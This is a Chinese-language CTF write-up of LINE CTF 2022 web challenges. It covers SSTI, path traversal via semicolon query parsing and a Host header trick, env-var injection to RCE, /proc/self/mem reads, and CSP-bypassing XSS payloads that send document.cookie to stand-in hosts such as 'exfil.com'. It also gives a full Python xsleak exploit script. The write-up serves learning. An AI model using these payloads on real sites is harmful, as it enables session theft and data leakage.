跟著隊伍 Water Paddler 一起參加了 LINE CTF 2022,在隊友的 carry 之下拿了第七名,這次只有一題有幫上一點忙,其他都被隊友解掉或是卡死。這篇簡單記一下每一題的解法,大部分都參考自 LINE CTF 2022 Writeups by maple3142。
gotm(96 solves)
這題被隊友解掉所以沒仔細看,不過賽後看其他 writeup 是 go 的 SSTI,出現在這裡:
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
之前沒碰過 go 的 SSTI,稍微筆記一下,可以用 {{.}}
把傳入的物件整個 dump 出來,順便附幾個參考連結:
Memo Drive(42 solves)
先附上關鍵程式碼:
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
這題的 flag 在 ./memo/flag
底下,所以只要想辦法讓上面那一段的 path 可以讀到 flag 就勝利了。
隊友最後用這個 payload:/view?id=flag;%2f%2e%2e/;
,因為對 python 太不熟,所以起個簡單的 server 來觀察一下:
from urllib.parse import unquote
import uvicorn
from starlette.applications import Starlette
from starlette.routing import Route
from starlette.responses import JSONResponse
def view(request):
try:
clientId = "id"
print("request.url:", request.url)
print("request.url.query", request.url.query)
print("params:", request.query_params)
print("unquote params:", unquote(request.query_params[clientId]))
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
print("filename:", filename)
print("keys:", request.query_params.keys())
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
print("path:", path)
except:
pass
return JSONResponse({"a":1})
routes = [
Route('/view', endpoint=view)
]
app = Starlette(debug=True, routes=routes)
if __name__ == "__main__":
uvicorn.run(app, host="0.0.0.0", port=11000)
先來看一下隊友的 payload 會怎樣:/view?id=flag;%2f%2e%2e/;
request.url: http://0.0.0.0:11000/view?id=flag;%2f%2e%2e/;
request.url.query id=flag;%2f%2e%2e/;
params: id=flag&%2F..%2F=
unquote params: flag
filename: flag
keys: dict_keys(['id', '/../'])
path: ./memo/id/..//flag
request.url
會直接是 raw URL,沒有 decode 過,然後 request.url.query
也是沒 decode 過的版本,到了 request.query_params
的時候則是被解析成了兩個 params:
- id=flag
- %2F..%2f=
看起來是因為分號 ;
的關係,所以就算不用 &
也可以創造出兩個 params。
而最後在 request.query_params.keys()
的時候被 decode,所以最後合起來就會是 ./memo/id..//flag
。
不過在 Discord 上看到其實這樣就好了:id=flag;/%2e%2e
,結果會是:
request.url: http://0.0.0.0:11000/view?id=flag;/%2e%2e
request.url.query id=flag;/%2e%2e
params: id=flag&%2F..=
unquote params: flag
filename: flag
keys: dict_keys(['id', '/..'])
path: ./memo/id/../flag
接著也在 Discord 看到另一個不同的解法(來自 bbangjo#3967),是利用 Host header:
GET http://0.0.0.0:11000/view?id=flag&/..
Host: 0.0.0.0#
就會產生神奇的結果:
request.url: http://0.0.0.0#/view?id=flag&/..
request.url.query
params: id=flag&%2F..=
unquote params: flag
filename: flag
keys: dict_keys(['id', '/..'])
path: ./memo/id/../flag
雖然 request.url.query
整個變不見了,但是 request.query_params
卻還是有東西,因此就繞過了針對 request.url.query
的檢查。
根據他的說法,因為 request.url
是從 Host header 構造而來的,我們可以翻一下程式碼來驗證,如果沒找錯的話應該是在這:starlette/datastructures.py#L38:
if host_header is not None:
url = f"{scheme}://{host_header}{path}"
因為 Host 被加了個 #
,所以後面的 query string 就被當成 fragment 來解析了,而不是 query string,所以 request.url.query
就會是空的。
那為什麼 request.query_params
有東西呢?因為它是直接拿最原始的 query string,而不是 request.url.query
,在這邊:starlette/requests.py#L116
@property
def query_params(self) -> QueryParams:
if not hasattr(self, "_query_params"):
self._query_params = QueryParams(self.scope["query_string"])
return self._query_params
這真的是要看 source code 才會發現這種差異。
2022-03-29 補充:
感謝 @Zedd 提醒,把 ;
當作 &
來看的行為跟 Python 版本有關,因為會引起 cache poisoning 的關係,在較新的版本中都已經修復了,而挑戰時使用的版本是 3.9.0,所以才有這問題,而我在本機重現時用的也是還沒修復的版本。
漏洞編號為 CVE-2021-23336,詳情可看這裡:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator。
bb(27 solves)
程式碼很短:
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
基本上就是要做到控制環境變數之後 RCE,這讓人自然而然會想到前陣子 P 牛發表的這篇:我是如何利用环境变量注入执行任意命令,裡面提到可以藉由控制 BASH_ENV
來執行命令。
不過比較麻煩的地方是 a-zA-Z 都不能用,所以要在不能用英文字母的狀況下寫出指令來讀 flag 並回傳到自己 server。
聊天室有人給了一個類似題目的連結可以參考:34C3 CTF / Tasks / minbashmaxfun / Writeup,看了開頭給的 writeup 也才發現原來可以這樣用:
# 等同於 $'id'
$'\151\144'
靠這樣就可以繞開限制,不用到字母,bash 真是博大精深。
在 Discord 看到有人貼這串,值得參考跟筆記一下:好讀版,推特原串:https://twitter.com/DissectMalware/status/1023682809368653826
online library(19 solves)
這是個可以讀取特定檔案範圍的網頁,重點在這一段:
app.get("/:t/:s/:e", (req: Express.Request, res: Express.Response): void => {
const s: number = Number(req.params.s)
const e: number = Number(req.params.e)
const t: string = req.params.t
if ((/[\x00-\x1f]|\x7f|\<|\>/).test(t)) {
res.end("Invalid character in book title.")
} else {
Fs.stat(`public/${t}`, (err: NodeJS.ErrnoException, stats: Fs.Stats): void => {
if (err) {
res.end("No such a book in bookself.")
} else {
if (s !== NaN && e !== NaN && s < e) {
if ((e - s) > (1024 * 256)) {
res.end("Too large to read.")
} else {
Fs.open(`public/${t}`, "r", (err: NodeJS.ErrnoException, fd: any): void => {
if (err || typeof fd !== "number") {
res.end("Invalid argument.")
} else {
let buf: Buffer = Buffer.alloc(e - s);
Fs.read(fd, buf, 0, (e - s), s, (err: NodeJS.ErrnoException, bytesRead: number, buf: Buffer): void => {
res.end(`<h1>${t}</h1><hr/>` + buf.toString("utf-8"))
})
}
})
}
} else {
res.end("There isn't size of book.")
}
}
})
}
});
第 path 的地方放上 /%2e%2e%2f/0/12345
就可以 path traversal 然後任意讀檔一下,但問題是要讀哪裡。
在隊友的幫忙下讀了 /proc/self/mem
,就是現在 node process 的記憶體,至於讀哪段要從 /proc/self/maps
去找,怎麼找我就不知道了。
然後因為有個 endpoint 會把參數放到 memory 中,所以可以先用那個 endpoint 去放你的 payload,接著因為這題讀檔有給 offset 的關係,找到記憶體中的 payload 把 offset 設定好,丟給 bot 以後就 XSS 了。
不過根據賽後討論,似乎是因為 flag 在 cookie 中,而 bot 送 request 到 server 時會帶 flag,所以這段 flag 也會出現在記憶體中,因此直接讀記憶體也可以找到 flag,不用 XSS。
Haribote Secure Note(7 solves)
這題卡了一整天,到最後依舊沒解開,so sad QQ
這題可以設定一個暱稱,最多 16 個字,然後可以新增 note,有 title 跟 content,顯示筆記的頁面關鍵程式碼在這裡:
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
// 省略
}
const printInfoBtn = document.getElementById('printInfoBtn');
printInfoBtn.addEventListener('click', printInfo);
</script>
還有接近結尾的這段:
<script nonce="{{ csp_nonce }}">
const render = notes => {
// 省略
};
render({{ notes }})
</script>
前面那邊給了我們 16 個字的 JS injection,最後面 notes 那裡則是可以用 </script>
來跳離標籤,是 HTML injection,而這題的難點在於 CSP 很嚴:
<meta content="default-src 'self'; style-src 'unsafe-inline'; object-src 'none'; base-uri 'none'; script-src 'nonce-{{ csp_nonce }}'
'unsafe-inline'; require-trusted-types-for 'script'; trusted-types default"
http-equiv="Content-Security-Policy">
因為有 nonce,所以 unsafe-inline
沒作用,而 unsafe-eval
沒開所以也沒辦法動態去執行程式碼。
當初卡很久之後我有一個想法是我們可以用 HTML injection 插入一個表單 <form id="f">
,然後就可以對 admin CSRF,目的是去改 admin 的暱稱,因為在另一個頁面 profile 是沒有 CSP 的,而且同樣可以注入:
<input name="display_name" type="text" class="form-control form-control-sm"
id="inputUserDisplayName"
value="{{ current_user.display_name }}">
nickname 的部分可以設定成:";f.submit();"
之類的,就可以送出表單。改完之後再去造訪 profile 頁面,在那個頁面執行 XSS。
但最大的問題是 "onfocus=eval(name)
有 20 個字元,超過了界線所以無法成功(而且還要想一下 name 要怎麼設定)。
賽後看了其他人的解答,主要有三種。
第一種來自 Super HexaGoN,是利用一個神奇的 script data double escaped state,把兩個注入點中間的東西都註解掉,就可以在有 nonce 的 script 裡面執行程式碼。之前從沒看過這個,以後再來研究一下。
display name: <!--<script>"}/*
title: --> /*
content: */ location.href='(attacker)/c='+document.cookie
第二種是利用 import 不會被 Trusted Types 檔的特性,底下 payload 來自 maple3142:
display name:
"+import(y)+"
title:
</script><a id=x href="//SERVER"></a>
content:
<a id=y href="data:text/javascript,open(x+`?`+document.cookie);alert()"></a>
第三種則是利用 iframe,在其他頁面執行程式碼(來自 eskildsen#8025):
name:
";f.eval(p+"");"
title:
</script><iframe src="/p" name=f></iframe>
content:
<a href="javascript:window.top.location='http://exfil.com/'+btoa(this.parent.document.cookie)" id=p name=p>payload</a>
第三種是我唯一覺得自己有可能想到的,因為其他兩個我都不知道。
話說 ";f.eval(p+"");"
跟 <!--<script>"}/*
恰巧都是 16 個字,我猜其中一個應該是非預期解,這就是 CTF 好玩的地方XD
然後這題真的很有趣而且很值得學習,三種解法都是完全不同的思路。
喔對了,然後 maple3142 的 writeup 解決了我一個疑惑,那就是為什麼這一題的 template 都不會 escape,原來是因為 flask 預設只會 escape HTML/XML/XHTML,難怪我沒看到什麼設定。
title todo(6 solves)
這題基本上就是個上傳圖片的網站,上傳完會拿到一個 url,接著可以給 title 跟 image url 新建一個 post。
flag 則是用 admin 身份造訪時會放在網頁的最 footer,而且有著奇怪的格式:LINECTF{([0-9a-f]/){10}}
然後在顯示圖片的網頁有個地方沒有用雙引號包住:
<img src={{ image.url }} class="mb-3">
雖然看起來是很小的一點,但其實整題的解法都是從這邊延伸出去的。從這邊不難看出我們可以控制 img 的任何屬性,不過我在這邊卡了頗久,想說可以控制又怎樣,沒辦法跳離 img 就不能 XSS。
然後經過隊友提醒才想到 STTF 的 xsleak,透過 img 的 lazy loading 來偵測是否有 scroll 的行為,所以只要 title 用很長,把 img 推下去,再加上 loading=lazy
的屬性,就可以搭配 STTF 來 leak 一個 byte。
不過這題還有一點要注意,就是 CSP:
default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' blob:
CSP 繞不開,所以就算 src
可控,也沒辦法設置外面的圖片。因此這題加上了另一個機制:cache,可以根據 response header 來決定一個圖片的 cache 是 miss 還是 hit,所以我們只要上傳一張新的圖片丟給 bot,過幾秒再去看他的 response header,如果是 hit 就代表 bot 有訪問圖片,代表 SSTF 有成功。
照著這個概念寫一個 exploit 就好:
import requests
import json
import time
from time import sleep
base_url = 'http://35.187.204.223'
cookie = "session=.eJwtzrERwzAIAMBdVKcAJCHkZXyA4JzWjqtcdk-K_AT_LnuecR1le513PMr-XGUrqLggVU2SQCFTKqiIUxpbIhpNThy0GkEdXWaGdJ-16nJ3GAO8iwP0QeY5ISjnzLoImHE5VwmdzVCIaxOMMNGIPrizhlErv8h9xfnfAJTPF00fL_M.Yj71GQ.S1yffSzbOk6Rny1VyCqPTL-5wM8"
def upload_image():
files = {'img_file': open('a.png','rb')}
resp = requests.post(base_url + '/image/upload', files=files, headers={
"Cookie": cookie
})
return json.loads(resp.text)
def create_post(url):
resp = requests.post(base_url + '/image', data={
"title": str(time.time()) + "w"*5000,
"img_url": f"/static/image/111 srcset={url} loading=lazy "
}, headers={
"Cookie": cookie
}, allow_redirects=False)
return resp.headers["X-ImageId"]
def share(url, keyword):
resp = requests.post(base_url + '/share', json={
"path": "image/" + url + "#:~:text=" + keyword,
}, headers={
"Cookie": cookie
})
return resp.text
def check_cached(img_url):
resp = requests.get(base_url + img_url, headers={
"Cookie": cookie
}, allow_redirects=False)
return resp.headers["X-Cache-Status"]
def run():
known = "LINECTF{"
while True:
for char in "0123456789abcdef":
print("trying:" + known+char)
resp = upload_image()
img_url = resp["img_url"]
print("img url:" + img_url)
img_id = create_post(img_url)
print("img id:" + img_id)
share_res = share(img_id, known + char)
print("resp:" + share_res)
sleep(3)
cache_resp = check_cached(img_url)
print("cached:" + cache_resp)
if cache_resp == "HIT":
known += char + "/"
print(known)
break
run()
另外,maple3142 的 writeup 又解決了我一個疑惑,那就是為什麼 flag 要有那些 /
?原來是因為 Chromium 為了避免這種 xsleak,所以在判斷 SSTF 的時候一定要匹配到整個單字才會 scroll。
舉例來說,如果頁面上有這串字:Hello world
,你 text fragment 指定 He
,是不會理你的,要 Hello
才會,這也是為什麼這題要用 /
來分割,因為沒分割的話就沒辦法一個字一個字來 leak。
me7-ball(2 solves)
這題看起來好像跟 crypto 比較有關就沒仔細看了,直接貼 Super HexaGoN 的 writeup:https://gist.github.com/mdsnins/2912b9656c837e5190364136b307c682
評論